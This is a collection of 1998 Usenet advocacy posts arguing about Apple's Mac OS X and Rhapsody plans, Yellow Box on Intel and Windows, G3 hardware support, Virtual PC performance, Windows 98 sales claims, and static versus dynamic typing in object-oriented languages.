>In <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> Galen
>Rutledge wrote:
[SNIP original post remains]
>>And I would bet that it will not be long before a 3rd party hacks a CLI
>>for MacOS X. I forsee considerable demand for just such a thing.
>
>Sure, but it won't be *built-in* as a standard component, it won't
>be ubiquitous on Mac OS X. It makes a big difference if you can't
>rely on it being there on every system.
What unadulterated rubbish. I can think of plenty of ways a machine
could differ within the platform. Different mice/track-balls, utilities
installed on some systems and not others....
One major hassle for me is that the NT implementation of the DOS CLI is
crappy, making it useless for certain applications. In other words, I
can't rely on a useful CLI on the *current* Wintel platform for certain
of my needs.
Besides, saying that something is available, but not in the OS by
default is a pretty weak argument. I think you are really reaching.
You don't like not having it?
Install it!
Stop whinging.
>>I think the CLI-less Macos X is simply a disclaimer.
>>
>>Apple has been burnt too much in the past claiming things are possible,
>>and not delivering them.
>
>But the CLI is already IN Rhapsody. Apple will almost certainly have
>to do *more* work to deliver Mac OS X without it.
No, Leon. Nice try. Not more work to not install something.
Monkey pull lever, monkey get banana.
From: cswiger@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 18:24:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o5m9a$smv$1@nnrp1.dejanews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net> <35A545DD.567CAFC@ericsson.com>
In article <35A545DD.567CAFC@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles W. Swiger wrote:
>> Assuming you live in the USA:
>>
>> Ever drive on the interstate highway system?
>
> Ever drive on a toll road? They're much nicer.
Oddly enough, the section of Interstate 95 in the state of New Jersy is known
as the "Jersy Turnpike". It's a toll road, and since it was rebuilt and
repaved recently, it's one of the nicest highways I've driven on in the east
coast. They even have sub-one-dollar gas, which is considerably cheaper than
what the pumps in NYC cost.
>> Ever eat food or use prescription drugs? (The FDA makes mistakes once in a
>> great while, agreed, but it does pretty well making sure that people don't
>> get sick or die from such things.)
>
> Ever had a relative who died because the FDA make it illegal to procure
> the life-saving cure (in common use in Europe, of course)?
No, I haven't. I also don't worry about getting sick if I drink tap water
without boiling it first, or that I might risk severe illness if I don't char
my steak to well-done because the meat might be contaminated.
>> Ack-- I think I need to stop reading or responding to this noise; it's a
>> waste of time....
>
> Why make public apologies for a post you haven't sent, yet? Just
> curious.
Take some thorazine and re-read. It's obvious that you aren't seeing anything
close to what was actually written.
-Chuck
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 13:38:32 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35A65FA8.4C7D85F6@rauland.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
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Jason McNorton wrote:
>
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > In article <MPG.100fd98176c5ec1798975e@news.itg.ti.com>, jmcn@msg.ti.com
> > (Jason McNorton) wrote:
> >
> > > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > >
> > > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > > THEN, 486 performance is hopelessly slow.
> > > >
> > > > I've never figured out how 486 performance on a "real" PC is OK, while 486
> > > > performance on a "virtual" PC isn't.
> > >
> > > Because you are getting a horrible cost vs performance ratio with the
> > > Mac + emulation.
> >
> > Nice try.
> >
> > The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
> > useful". No cost issue--just too slow.
> >
> > Please explain why 486 performance is acceptable on a real PC but not on a
> > virtual one.
>
> Because you can pick up a real 486 for a few hundred bucks. Can you pick
> up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
> on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
> just not cost effective.
Can you run Mac software on that 486? That's what a Mac is purchased
for, to run Mac software. An emulator is added to run an occasional
Windows program, if necessary. It's not to turn the Mac into a Windows
box.
Edwin
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 18:38:26 GMT
Organization: MiscKit Development
Message-ID: <6o5n32$6q$2@news.xmission.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <6o5k4c$r2d$1@crib.corepower.com>
NNTP-Posting-Date: 10 Jul 1998 18:38:26 GMT
nurban@crib.corepower.com (Nathan Urban) wrote:
> In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
>
> > Yellow box on Winblows sucks rocks out of black holes.
>
> You should put that into context: in comparison to Rhapsody/Intel,
> or compared to native Windows apps? I think you mean the former since
> you were posting about how you want the full OS.
Sorry if I was unclear about that.
Yes, Windows is an absolutely miserable place to work. Even if I plan to
deploy there, I utterly refuse to work there for anything but the final
compiles and tests. I'll do everything on OS/Mach 4.2 instead and ftp it
over to the NT box when I finally can't avoid NT any longer.
There aren't words for how badly I detest the MS OSes. That's why I want a
full Intel OS! I tried to give the MS sh*t a chance, but the more I use it,
the less I like it. It didn't seem so bad at first, but the irritations
mount quickly. There are a lot of details that MS just didn't get right, and
it is like a swarm of gnats--no one big thing you can say is _the_ problem,
just lots of little things that add up to utter misery.
Unfortunately, even though YB is better (in my mind) than the other Winblows
development alternatives, when you put YB on Windows it really does lose
something in comparison to YB on the whole OS. Integration, stability, and
performance all suffer, for starters. It just doesn't feel as good. If I
have to use this stuff all day, it DOES matter to me what the look and feel
are like. And Apple is, in effect, forcing Intel users into this ghetto.
Maybe they think that will drive us to PPC. But I'm observing an opposite
effect: it is driving many people to utterly leave Apple behind in disgust
and frustration. That's not good.
And Apple has apparently forgotten that many people work in places where Mac
harware is verboten, but Intel hardware running a Mac OS could be slipped
past purchasing. Apple is in effect forcing these folks into a computing
ghetto that they can't leave. Even though enterprise may not be Apple's
focus, burning the bridges there will hurt their efforts in their focused
market. Many consumers buy, for home, the same kind of computer they have at
work. Makes sense--it is what they know and are comfortable with. So how
can Apple possibly think that antagonizing the enterprise markets won't hurt
consumer sales?
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 18:50:48 GMT
Organization: MiscKit Development
Message-ID: <6o5nq8$6q$3@news.xmission.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1>
NNTP-Posting-Date: 10 Jul 1998 18:50:48 GMT
"Todd Heberlein" <todd@NetSQ.com> wrote:
> > Yellow box on Winblows sucks rocks out of black holes. Winblows
> > is NOT a "solution" as far as I'm concerned. I want the full OS,
> > on Intel. Period. That's what I call a "solution".
>
> Two points.
>
> First, with Carbon, Apple has demonstrated that it does listen and is
> willing to change strategies as the market demands. Bill Gates once
> said, "I would rather be right than consistent." I think Apple now
> believes this too.
Yes. That's why I think everyone needs to band together and send Apple a
message. Visit http://www.of.org/rhaptel/ and participate if you agree.
> So, if you want another Intel solution other than YB on NT, keep
> letting Apple know. But also, think out of the box (e.g., would YB for
> BSD/Intel or YB for Linux/Intel be acceptable alternatives?)
I've thought about it, and I think that YB/Linux would go a long way to
making me feel better about the whole thing. But YB/Linux is still not the
same as Mach on Intel--there are parts missing that I have grown to
appreciate. Things like Netinfo and all the tools in /NextApps and
/NextAdmin. With enough time, there will be GNUStep on Linux, and enough
more time, many of those tools will be recreated. But why reinvent the
wheel? Mach/Intel works _today_, so why trash it?
So, yes, I'd prefer YB/Linux over YB/Winblows any day, but to me it is still
lacking in comparison to the full Mach experience. It is the latter that I
really want. Now, if Apple would like to provide all the other parts for
Linux, too, then I'm fine with that. But I think we'd be damn lucky just to
get YB/Linux, and I, frankly, want more. And yes, I'd pay for it. The full
package is worth it to me. I'll be buying 1.0 even though I know it is the
end of the line because I feel that strongly about the product.
> Second, I have both Java (Java Workshop 2.0 and Java Studio) and Yellow
> Box (DR1) installated on my NT, and while Java has improved since I
> last tried working on it, Yellow Box still blows it away on NT - both
> as a development environment as well as for performance of the
> application.
>
> So while Yellow Box on Winblows sucks, remember it "sucks less" than
> the alternatives. :-)
Sure,. Java is immature and certainly not yet as good. But the YB lead _is_
shrinking. And I hate to have Apple forcing me into the ghetto if I'm stuck
on Intel hardware, especially when I KNOW that it doesn't HAVE to be that
way! Again, they may think that forcing Intel to be a ghetto will fuel PPC
sales. Well, from what I've observed, it is doing the opposite and it is
causing Apple to gain "negative mindshare": Apple is getting pushed into the
corners of people's minds normally reserved for spiders, snakes, and other
objects of disgust. That can't be good...
I see too many decisions coming out of Cupertino that seem to go for a short
term gain at the expense of the long term, and it worries me. I feel like
Apple is harming their future, and I really, really want to see them succeed.
Hell, if I didn't feel that way, I'd just walk away apathetically and not
open my big fat mouth!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 14:02:47 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980710140002.4857B-100000@ux5.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <1dbyvxo.1q1hq1w1cq8mp9N@ip169.albnxr2.ras.tele.dk>
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On Fri, 10 Jul 1998, Per Erik Ronne wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
>
> > Think of Mac OS X supporting G3 hardware in much the same way that
> > Microsoft might announce support for their OSen.
>
> Does this mean that you think it might run on a 6100, possibly with a G3
> upgrade card?
No! The "G3" upgrade card _only_ updates the processor. That isn't the
problem. The motherboard and all its components is the problem. None of
the PowerMac 6100, 7100, or 8100 series is at all likely to be supported.
At best, some of the Nitro and Tsunami based PowerMacs will, but that is
not looking very likely either.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Zico" <ZicoKnows@hotmail.com>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <Evw5BK.8BG@iglou.com>
Sender: news@iglou.com (News)
Organization: IgLou Internet Services (1-800-436-4456)
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net>
Date: Fri, 10 Jul 1998 18:12:09 GMT
x-no-archive: yes
Joe Ragosta wrote:
>Actually, the NT fans will tell you that NT works just fine on a 486 66
>MHz--until you start talking about running it under VPC or SoftWindows.
>THEN, 486 performance is hopelessly slow.
>
>I've never figured out how 486 performance on a "real" PC is OK, while 486
>performance on a "virtual" PC isn't.
I've never figured out why you say that all NT fans say both of the things
you mentioned above. You love to take things that two different advocates
have stated, then combine them and pretend that all advocates are saying
both things and are contradicting themselves. I really hope that you're doing
it out of ignorance rather than intentionally trying to deceive, because this
behavior of yours is pretty slimy, and it's been pointed out to you before.
Z
Date: Fri, 10 Jul 1998 14:20:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Message-ID: <joe.ragosta-1007981420010001@wil56.dol.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
> marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
> > Greg_Anderson@afs.com (Gregory H. Anderson) writes:
> >
> > [...]
> > >This is presumably because the Windows release covers the needs of
> > >most people who want to run Intel.
> >
> > Yes, that is also the message in the FAQ. The point that Apple is
> > absolutely missing here is that some people want/need a homogenous
> > software/operating environment but need to integrate Intel machines,
> > for various reasons, including second-source, ability to run other
> > OSes etc.
>
> That's what I hate about this whole thing.
>
> Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
> "solution" as far as I'm concerned. I want the full OS, on Intel. Period.
> That's what I call a "solution".
"sucks rocks out of black holes". Maybe just a teensy bit of exaggeration?
>
> Hopefully there are enough people out there who agree that the full OS is
> important and are willing to let Apple know that they think so. They're
> collecting at http://www.of.org/rhaptel/ -- let's hope that a difference can
> be made. There are many, many reasons why Apple needs to keep the full OS
> alive on Intel, and it isn't just my selfish desire for a decent OS on
Intel.
> That may motivate _me_ to complain, but there are much better reasons for
> Apple to keep the OS. (cf. what's been discussed in the mailing list archive
> at the URL above.)
Agreed. Everyone should express their opinions on this.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 14:18:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007981418130001@wil56.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
In article <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > In article <MPG.100fd98176c5ec1798975e@news.itg.ti.com>, jmcn@msg.ti.com
> > (Jason McNorton) wrote:
> >
> > > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > >
> > > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > > THEN, 486 performance is hopelessly slow.
> > > >
> > > > I've never figured out how 486 performance on a "real" PC is OK,
while 486
> > > > performance on a "virtual" PC isn't.
> > >
> > > Because you are getting a horrible cost vs performance ratio with the
> > > Mac + emulation.
> >
> > Nice try.
> >
> > The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
> > useful". No cost issue--just too slow.
> >
> > Please explain why 486 performance is acceptable on a real PC but not on a
> > virtual one.
>
> Because you can pick up a real 486 for a few hundred bucks. Can you pick
> up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
Since I already have a Mac, the cost of VPC is less than $200.
> on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
> just not cost effective.
Good. I'm not going to go back to pull up names and embarass people, but
there have been a lot of Wintrolls posting here over the past year saying
it was too slow to be useful. I'll send them to you the next time they
post.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 11:45:07 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1007981145070001@sdn-ar-001casbarp293.dialsprint.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <6o5b24$5op$4@news.spacelab.net>
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> [ ... ]
> > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > MHz--until you start talking about running it under VPC or SoftWindows.
> > THEN, 486 performance is hopelessly slow.
> >
> >I've never figured out how 486 performance on a "real" PC is OK, while 486
> >performance on a "virtual" PC isn't.
Well you are a bright guy, it should be easy to understand. Performance
wise they are not saying its hopelessly slow, they are just saying why
spend $2000 to get 486 speed when you can spend $75 to get it. Argue as
much as you want with that reasoning, but it is still different than what
you said
--
So many pedestrians, so little time.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Feeling sick
Date: 10 Jul 1998 19:09:05 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o5osh$a8@newsb.netnews.att.com>
Originator: gupta@tlctest
Various "market research firms" are reporting that in retail sales,
Windows 98 is doing as well as Windows 95.
They report that a little over half a million copies sold in the
first four days, thereby equalling Windows 95.
This is utter BS. The stupid thing is that so-called journalists
are reporting this advertising copy as fact.
The fact is that for Windows 95, Microsoft itself reported a
million copies sold in the first four days. [ Search, for example,
on www.techweb.com. ]
Computer Retail Week, Sept 4, 1995, for example, has :
("Win 95 lingers at point of few or no returns, Kathleen Richards)
"The official word from Redmond is that Windows 95 passed the
1 million unit sell-through mark after four days".
Consider that for most people, the upgrade
from Windows 3.1x or MS-DOS to Windows 95 required a hardware
upgrade as well; consider that the sale of machines
capable of running Windows 95/98 has been increasing by 15-20%
per year for 3 years, and that the installed base of PCs must have
considerably grown since August 95.
Even so, Windows 95 sold at twice the reported pace of Windows 98.
Obviously, if Microsoft makes a claim that Windows 98 is selling
as well as Windows 95 sold, then it will open itself to shareholder
lawsuits. So, the "market research firms", hoping that no-one
remembers, are issuing their press releases.
So, for example,
http://www.news.com/News/Item/Textonly/0,25,24040,00.html?pfv
reports :
'In its first four days on the market, more than 500,000 copies
of the new operating system were sold, equaling the launch of
Windows 95, according to a market researcher PC Data. Such reports
have kept Wall Street bullish on Microsoft, regardless of its
software's technical merits.'
Feeling sick,
-arun gupta
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 12:15:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6o5p7k$eg@nntp02.primenet.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1>
Todd Heberlein <todd@NetSQ.com> wrote:
: Second, I have both Java (Java Workshop 2.0 and Java Studio) and Yellow
: Box (DR1) installated on my NT, and while Java has improved since I
: last tried working on it, Yellow Box still blows it away on NT - both
: as a development environment as well as for performance of the
: application.
I'm sure you are right. I'd say most serious Java developers won't touch
Java Workshop, most use the JDK plus an editor of their choice.
The JVM is a very different environment than the traditional
object-oriented runtime environment. It has a different set of
efficiencies. My guess is that the Workshop (the first large Java
program?) didn't pay sufficent attention to the new kinds of performance
tuning.
Perhaps one of Sun's problems is that they don't want to admit that
performance tuning is required, even for fairly simple apps?
My own syntax-highlighting java editor is a few times speedier than Sun's
own. I think that's because I conciously tried to stay "shallow" in
runtime class structure. Try it:
http://www.primenet.com/~jjens/mpTOOLS/mpEDIT.html
John
From: aa158@valleynet.on.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 19:22:21 GMT
Organization: n/a
Message-ID: <6o5plf$2j3$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net>
In article <stone-ya02408000R0807982323110001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> ... the fabrication that MacOSX will run only on G3 based
> systems.
Apparently no fabrication... From the July 10 Macintouch:
<http://www.macintouch.com/>
------------------------------------------------------------
Dan Hughes of Webintosh confirms that Apple has no plan to support
Power Macs other than its own G3 models in Mac OS X, regardless of
G3 processor upgrades:
During a Macworld question and answer session with Avie Tevanian,
the question of whether Mac OS X would support 603- or 604-based
Macs was posed. Tevanian, Apple's senior vice president of software
engineering, clarified:
"It will definitely not run on 603. It's unlikely to run on 604,
although there is a slight chance that, if we wanted to, we could
push hard and have it run on some subset of the 604's, but it's not
currently planned."
In regards to OS X compatibility with Macs using G3-based upgrade
cards, Tevanian said, "There are no guarantees as to whether or not
it will run on a third party G3 card. We have no plans to test any
of those, so theoretically by luck it might run on some, but there's
no plans to support that."
------------------------------------------------------------
Compare that statement to this list:
<http://www.mklinux.apple.com/hardware.html>
Richard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 19:20:05 GMT
Organization: Cygnus Solutions
Message-ID: <6o5ph5$s4k$1@cronkite.cygnus.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: don@misckit.com
I just thought I'd forward my comments from the mailing list to this group..
Forwarded message follows:
Don wrote/forwarded:
>
[SNIP]
>
> My point is that Apple has, whether they meant to or not, sent a message
> that is causing many enterprises to not just leave the Intel OS behind, but
> also get the hell away from YB and Apple, never to return again. I don't
> agree with all the premises that lead to the conclusions that spur these
> actions into reality, but I am reporting (a) what is happening (b) why it
> is happening, and (c) that Apple's largely to blame, IMHO. Oh, and d), long
> term this wound will hurt Apple badly, again IMHO.
>
[SNIP]
> marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
> Even if many of us believe that YB is still important to Apple, Apple
> apparently hasn't done a good enough job convincing their YB customers that
> this is so. Many are getting out of there as fast as they can because they
> _think_ that they'll be left in a lurch! Whether or not YB/Win is _really_
> doomed is irrelevant. Apple pulling back on the OS--and the reasons given
> for it--have convinced the enterprises that YB on Intel in any form is
> doomed. Again, that perception is what matters. The realities behind the
> situation are second fiddle to how it is perceived and Apple has really
> screwed the pooch on this one.
>
I pretty much agree with all of this. Since the announcement of MacOS X,
I've pretty much been looking in other directions. I wont have time to do
anything myself for a while, but as far as I'm concerned the NeXT/Apple
edition of Openstep/Yellow-box is dead. I may buy Rhapsody 1.0 for Intel as
a last upgrade.. but I may not (if I'm going to be left with something old
and obsolete, I'll probably prefer the Nextstep GUI over the Rhapsody one).
I don't plan to wait to see what Apple does next. If they do the right
thing, I may come back to the fold.. I just don't plan on it. From there,
I'll be looking in to ways to make the Hurd comfortable for me.
The Cygnus founders saw an opportunity in the late 80's to make money by
customizing and supporting GCC. I'm curious if perhaps this is a similar
opportunity. The Enterprise customers we're talking about here are entities
that already see value in Openstep. Do they see enough value to jointly fund
a Cyngus-like company that would focus on Gnustep? It _may_ leave the in a
situation to live on YB until their new company could finish Gnustep, and
then switch to Gnustep as soon as possible.
Cygnus isn't in the business of Operating Systems. We were asked once if we
would pick up Linux support, and our leaders said no. That doesn't mean we
wont change our mind later, but for the most part our reputation and
expertise is in embedded systems development, and then to some extent in
cross platform development. For us, cross platform typically relates to the
embedded world anyway (ie. cross compile a binary for a cell phone from your
solaris desktop, as opposed to the Openstep "compile for YB/Win while running
on Rhapsody/PPC" kinda thing). I don't see us reaching out in to other free
software markets, especially since we already retracted from the kerberos and
general-free-utils (apache, perl, etc) arenas.
With enough big contracts, maybe Cygnus could be convinced to pick up Gnustep
for various platforms (like Solaris, IRIX, HP/UX, Linux, etc -- OS's we
already support gcc on). But I doubt they could be convinced to offer a full
"from the ground up" solution like "gnu-mach + hurd + gnu-OS + DGS +
Gnustep". I think if there are enough legacy NeXT customers who still want
Openstep but are afraid to trust Apple, someone else may be able to fill the
gap.
My personal motivation toward free software projects such as this is that it
means you're no longer at the mercy of another company's agenda. If these
Enterprises help build Gnustep, then Gnustep exists as long as they want it
to, and as long as we want it to. If Apple folds, if the FSF folds, if the
Cygnus-like company folds.. or even if one of those groups just abandons
Gnustep/Openstep, it doesn't matter because the code is publicly available.
Anyone else can pick up the pieces and move on.
The role a Cygnus-like company would provide to those Enterprises is a place
to obtain mission critical support and customization. That means that
they're also not at the mercy of the USENET community who may not fix their
problems because they don't find it interesting. They pay the company to fix
their problems in a timely fashion. It's sort of the best of both worlds --
free from another company's agenda yet secure in the knowlege that someone
with expertise in that field is there to help you when you need it.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Fri, 10 Jul 1998 21:58:58 +0200
Organization: Completely Disorganized
Message-ID: <1dbyx5z.14ea2r51ex4yruN@rhrz-isdn3-p7.rhrz.uni-bonn.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o5bis$8jo$1@news.cs.tu-berlin.de>
Mail-Copies-To: never
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
[on C++-style binding]
> That is correct, but there is a decision that is made at compile-time:
> the function must be implemented in the exact target class or a
> derived class of the target class. Another class capable of
> responding to the same message cannot be substituted.
>
> This violates a fundamental tenet of object-orientation, that the
> only visible aspect of an object should be its behaviour.
I don't see why it violates some tenet of OO to make sure at compile
time that an object is actually _able_ to respond to a message that it
might be sent. And exactly that is what's happening in C++, Eiffel,
Java.
> Some of the most powerful reuse mechanisms
> currently known are crippled by static typing.
Would you mind to elaborate? I'm still trying to find out what I miss.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbz0rt.1pyyhe3fvuzxiN@dialup237-3-41.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o5bis$8jo$1@news.cs.tu-berlin.de>
Organization: pv
Date: Fri, 10 Jul 1998 20:02:29 GMT
NNTP-Posting-Date: Fri, 10 Jul 1998 22:02:29 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> lars.farm@ite.mh.se (Lars Farm) writes:
[ dynamic binding is link- or runtime?]
> >No. The set of possible functions, but not the actual function. This is
> >selected at runtime (assuming virtual).
>
> That is correct, but there is a decision that is made at compile-time:
> the function must be implemented in the exact target class or a
> derived class of the target class. Another class capable of
> responding to the same message cannot be substituted.
Ok.
> This violates a fundamental tenet of object-orientation, that the
> only visible aspect of an object should be its behaviour.
I doubt that you'll find universal agreement on that "fundamental tenet"
and all its implications. Some think that associating behaviour to class
is just fine.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
